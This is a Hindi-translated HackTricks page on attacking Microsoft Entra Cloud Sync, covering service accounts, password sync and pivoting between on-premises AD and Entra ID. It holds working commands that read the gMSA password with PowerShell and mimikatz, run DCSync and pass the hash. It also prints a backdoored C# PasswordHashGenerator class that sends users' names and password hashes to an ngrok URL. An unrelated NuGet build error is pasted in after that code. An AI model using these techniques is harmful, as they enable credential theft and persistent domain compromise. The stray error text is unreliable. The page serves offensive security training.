Az - Cloud Sync
Reading time: 10 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
Basic Information
Cloud Sync मूल रूप से Azure का नया तरीका है AD से Entra ID में उपयोगकर्ताओं को समन्वयित करने के लिए।
From the docs: Microsoft Entra Cloud Sync Microsoft द्वारा एक नई पेशकश है जो उपयोगकर्ताओं, समूहों और संपर्कों को Microsoft Entra ID में समन्वयित करने के लिए आपके हाइब्रिड पहचान लक्ष्यों को पूरा करने और हासिल करने के लिए डिज़ाइन की गई है। यह Microsoft Entra Connect एप्लिकेशन के बजाय Microsoft Entra क्लाउड प्रोविजनिंग एजेंट का उपयोग करके इसे पूरा करता है। हालाँकि, इसे Microsoft Entra Connect Sync के साथ भी उपयोग किया जा सकता है।
Principals Generated
इसका काम करने के लिए कुछ प्रिंसिपल Entra ID और On-Premise डायरेक्टरी में बनाए जाते हैं:
- Entra ID में उपयोगकर्ता
On-Premises Directory Synchronization Service Account
(ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com
) कोDirectory Synchronization Accounts
(d29b2b05-8046-44ba-8758-1e26182fcf32
) भूमिका के साथ बनाया जाता है।
warning
इस भूमिका के पास पहले बहुत सारे विशेषाधिकार थे और इसका उपयोग विशेषाधिकारों को वैश्विक व्यवस्थापक तक बढ़ाने के लिए किया जा सकता था। हालाँकि, Microsoft ने इस भूमिका के सभी विशेषाधिकारों को हटाने और इसे केवल एक नए microsoft.directory/onPremisesSynchronization/standard/read
के साथ असाइन करने का निर्णय लिया है, जो वास्तव में किसी भी विशेषाधिकार कार्रवाई (जैसे उपयोगकर्ता का पासवर्ड या विशेषताओं को संशोधित करना या SP में एक नई क्रेडेंशियल जोड़ना) करने की अनुमति नहीं देता है।
-
Entra ID में समूह
AAD DC Administrators
बिना सदस्यों या मालिकों के बनाया जाता है। यह समूह उपयोगी है यदिMicrosoft Entra Domain Services
का उपयोग किया जाता है। -
AD में, या तो सेवा खाता
provAgentgMSA
एक SamAcountName के साथ बनाया जाता है जैसेpGMSA_<id>$@domain.com
(Get-ADServiceAccount -Filter * | Select Name,SamAccountName
), या एक कस्टम खाता इन अनुमतियों की आवश्यकता है। आमतौर पर डिफ़ॉल्ट खाता बनाया जाता है।
warning
अन्य अनुमतियों के बीच, सेवा खाता provAgentgMSA
के पास DCSync अनुमतियाँ हैं, जो किसी भी व्यक्ति को जो इसे समझौता करता है, पूरे डायरेक्टरी को समझौता करने की अनुमति देती हैं। DCSync के बारे में अधिक जानकारी के लिए यहाँ देखें।
note
डिफ़ॉल्ट रूप से, ज्ञात विशेषाधिकार समूहों जैसे डोमेन व्यवस्थापकों के उपयोगकर्ता जिनका विशेषता adminCount
1 है, Entra ID के साथ समन्वयित नहीं होते सुरक्षा कारणों से। हालाँकि, अन्य उपयोगकर्ता जो इस विशेषता के बिना विशेषाधिकार समूहों का हिस्सा हैं या जिन्हें सीधे उच्च विशेषाधिकार सौंपे गए हैं समन्वयित किए जा सकते हैं।
Password Sychronization
यह अनुभाग बहुत समान है:
- पासवर्ड हैश समन्वयन सक्षम किया जा सकता है ताकि उपयोगकर्ता AD से अपने पासवर्ड का उपयोग करके Entra ID में लॉगिन कर सकें। इसके अलावा, जब भी AD में पासवर्ड संशोधित किया जाता है, यह Entra ID में अपडेट हो जाएगा।
- पासवर्ड राइटबैक को भी सक्षम किया जा सकता है, जिससे उपयोगकर्ता अपने पासवर्ड को Entra ID में संशोधित कर सकते हैं, जो स्वचालित रूप से उनके पासवर्ड को ऑन-प्रिमाइस डोमेन में समन्वयित करता है। लेकिन वर्तमान दस्तावेज़ों के अनुसार, इसके लिए Connect Agent का उपयोग करना आवश्यक है, इसलिए अधिक जानकारी के लिए Az Connect Sync अनुभाग पर नज़र डालें।
- समूह राइटबैक: यह सुविधा Entra ID से समूह सदस्यताओं को ऑन-प्रिमाइस AD में वापस समन्वयित करने की अनुमति देती है। इसका मतलब है कि यदि किसी उपयोगकर्ता को Entra ID में एक समूह में जोड़ा जाता है, तो उन्हें AD में संबंधित समूह में भी जोड़ा जाएगा।
Pivoting
AD --> Entra ID
- यदि AD उपयोगकर्ताओं को AD से Entra ID में समन्वयित किया जा रहा है, तो AD से Entra ID में पिवट करना सीधा है, बस किसी उपयोगकर्ता का पासवर्ड समझौता करें या किसी उपयोगकर्ता का पासवर्ड बदलें या एक नया उपयोगकर्ता बनाएं और जब तक यह Entra ID डायरेक्टरी में समन्वयित नहीं हो जाता (आमतौर पर केवल कुछ मिनट)।
तो आप उदाहरण के लिए
provAgentgMSA
खाता समझौता करें, DCSync हमले का प्रदर्शन करें, किसी उपयोगकर्ता का पासवर्ड क्रैक करें और फिर इसका उपयोग Entra ID में लॉगिन करने के लिए करें।- बस AD में एक नया उपयोगकर्ता बनाएं, जब तक यह Entra ID में समन्वयित नहीं हो जाता और फिर इसका उपयोग Entra ID में लॉगिन करने के लिए करें।
- AD में किसी उपयोगकर्ता का पासवर्ड संशोधित करें, जब तक यह Entra ID में समन्वयित नहीं हो जाता और फिर इसका उपयोग Entra ID में लॉगिन करने के लिए करें।
provAgentgMSA
क्रेडेंशियल्स को समझौता करने के लिए:
# Enumerate provAgentgMSA account
Get-ADServiceAccount -Filter * -Server domain.local
# Find who can read the password of the gMSA (usually only the DC computer account)
Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties * -Server domain.local | selectPrincipalsAllowedToRetrieveManagedPassword
# You need to perform a PTH with the hash of the DC computer account next. For example using mimikatz:
lsadump::dcsync /domain:domain.local /user:<dc-name>$
sekurlsa::pth /user:<dc-name>$ /domain:domain.local /ntlm:<hash> /run:"cmd.exe"
# Or you can change who can read the password of the gMSA account to all domain admins for example:
Set-ADServiceAccount -Identity 'pGMSA_<id>$' -PrincipalsAllowedToRetrieveManagedPassword 'Domain Admins'
# Read the password of the gMSA
$Passwordblob = (Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties msDS-ManagedPassword -server domain.local).'msDS-ManagedPassword'
#Install-Module -Name DSInternals
#Import-Module DSInternals
$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword
अब आप gMSA के हैश का उपयोग करके provAgentgMSA
खाते के खिलाफ Entra ID के खिलाफ Pass-the-Hash हमले को अंजाम दे सकते हैं और AD के खिलाफ DCSync हमले करने के लिए स्थिरता बनाए रख सकते हैं।
Active Directory को समझौता करने के तरीके के बारे में अधिक जानकारी के लिए देखें:
Active Directory Methodology - HackTricks
note
ध्यान दें कि Azure या EntraID भूमिकाएँ सिंक किए गए उपयोगकर्ताओं को उनके गुणों के आधार पर देने का कोई तरीका नहीं है, उदाहरण के लिए Cloud Sync कॉन्फ़िगरेशन में। हालाँकि, सिंक किए गए उपयोगकर्ताओं को स्वचालित रूप से अनुमतियाँ देने के लिए कुछ AD से Entra ID समूहों को अनुमतियाँ दी जा सकती हैं ताकि उन समूहों के अंदर सिंक किए गए उपयोगकर्ताओं को भी उन्हें प्राप्त हो सके या गतिशील समूहों का उपयोग किया जा सकता है, इसलिए हमेशा गतिशील नियमों और उन्हें दुरुपयोग करने के संभावित तरीकों की जांच करें:
स्थिरता के संबंध में यह ब्लॉग पोस्ट सुझाव देती है कि dnSpy का उपयोग करके Microsoft.Online.Passwordsynchronisation.dll
को बैकडोर करना संभव है जो C:\Program Files\Microsoft Azure AD Sync\Bin
में स्थित है और जिसका उपयोग Cloud Sync एजेंट द्वारा पासवर्ड समन्वयन करने के लिए किया जाता है, जिससे यह उपयोगकर्ताओं के पासवर्ड हैश को एक दूरस्थ सर्वर पर एक्सफिल्ट्रेट करता है। हैश PasswordHashGenerator
वर्ग के अंदर उत्पन्न होते हैं और ब्लॉग पोस्ट सुझाव देता है कि कुछ कोड जोड़ा जाए ताकि वर्ग इस तरह दिखे (ध्यान दें use System.Net
और पासवर्ड हैश को एक्सफिल्ट्रेट करने के लिए WebClient
का उपयोग):
using System;
using System.Net;
using Microsoft.Online.PasswordSynchronization.DirectoryReplicationServices;
namespace Microsoft.Online.PasswordSynchronization
{
// Token: 0x0200003E RID: 62
public class PasswordHashGenerator : ClearPasswordHashGenerator
{
// Token: 0x06000190 RID: 400 RVA: 0x00006DFC File Offset: 0x00004FFC
public override PasswordHashData CreatePasswordHash(ChangeObject changeObject)
{
PasswordHashData passwordHashData = base.CreatePasswordHash(changeObject);
try
{
using (WebClient webClient = new WebClient())
{
webClient.DownloadString("https://786a39c7cb68.ngrok-free.app?u=" + changeObject.DistinguishedName + "&p=" + passwordHashData.Hash);
}
}
catch (Exception)
{
}
return new PasswordHashData
{
Hash = OrgIdHashGenerator.Generate(passwordHashData.Hash),
RawHash = passwordHashData.RawHash
};
}
}
}
NuGet Package restore failed for project AzTokenFinder: Unable to find version '4.3.2' of package 'System.Security.Cryptography.X509Certificates'. C:\Program Files (x86)\Microsoft SDKs\NuGetPackages: Package 'System.Security.Cryptography.X509Certificates.4.3.2' is not found on source 'C:\Program Files (x86)\Microsoft SDKs\NuGetPackages'. . Please see Error List window for detailed warnings and errors.
Entra ID --> AD
-
यदि Password Writeback सक्षम है, तो आप Entra ID से कुछ उपयोगकर्ताओं का पासवर्ड संशोधित कर सकते हैं और यदि आपके पास AD नेटवर्क तक पहुंच है, तो उनके माध्यम से कनेक्ट करें। अधिक जानकारी के लिए Az Connect Sync section अनुभाग देखें क्योंकि पासवर्ड राइटबैक उस एजेंट का उपयोग करके कॉन्फ़िगर किया गया है।
-
इस समय Cloud Sync भी "Microsoft Entra ID to AD" की अनुमति देता है, लेकिन बहुत समय बाद मैंने पाया कि यह EntraID उपयोगकर्ताओं को AD में समन्वयित नहीं कर सकता और यह केवल उन EntraID उपयोगकर्ताओं को समन्वयित कर सकता है जो पासवर्ड हैश के साथ समन्वयित किए गए थे और उसी डोमेन वन के डोमेन से आते हैं जिसमें हम समन्वयित कर रहे हैं जैसा कि आप पढ़ सकते हैं https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits:
- ये समूह केवल ऑन-प्रिमाइसेस समन्वयित उपयोगकर्ताओं और / या अतिरिक्त क्लाउड द्वारा बनाए गए सुरक्षा समूहों को शामिल कर सकते हैं।
- ऑन-प्रिमाइसेस उपयोगकर्ता खाते जो समन्वयित हैं और इस क्लाउड द्वारा बनाए गए सुरक्षा समूह के सदस्य हैं, वे उसी डोमेन या क्रॉस-डोमेन से हो सकते हैं, लेकिन वे सभी एक ही वन से होने चाहिए।
इसलिए इस सेवा की हमले की सतह (और उपयोगिता) काफी कम हो जाती है क्योंकि एक हमलावर को उन उपयोगकर्ताओं को समन्वयित करने के लिए प्रारंभिक AD से समझौता करना होगा ताकि दूसरे डोमेन में एक उपयोगकर्ता से समझौता किया जा सके (और दोनों को स्पष्ट रूप से एक ही वन में होना चाहिए)।
Enumeration
# Check for the gMSA SA
Get-ADServiceAccount -Filter "ObjectClass -like 'msDS-GroupManagedServiceAccount'"
# Get all the configured cloud sync agents (usually one per on-premise domain)
## In the machine name of each you can infer the name of the domain
az rest \
--method GET \
--uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups" \
--headers "Content-Type=application/json"
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।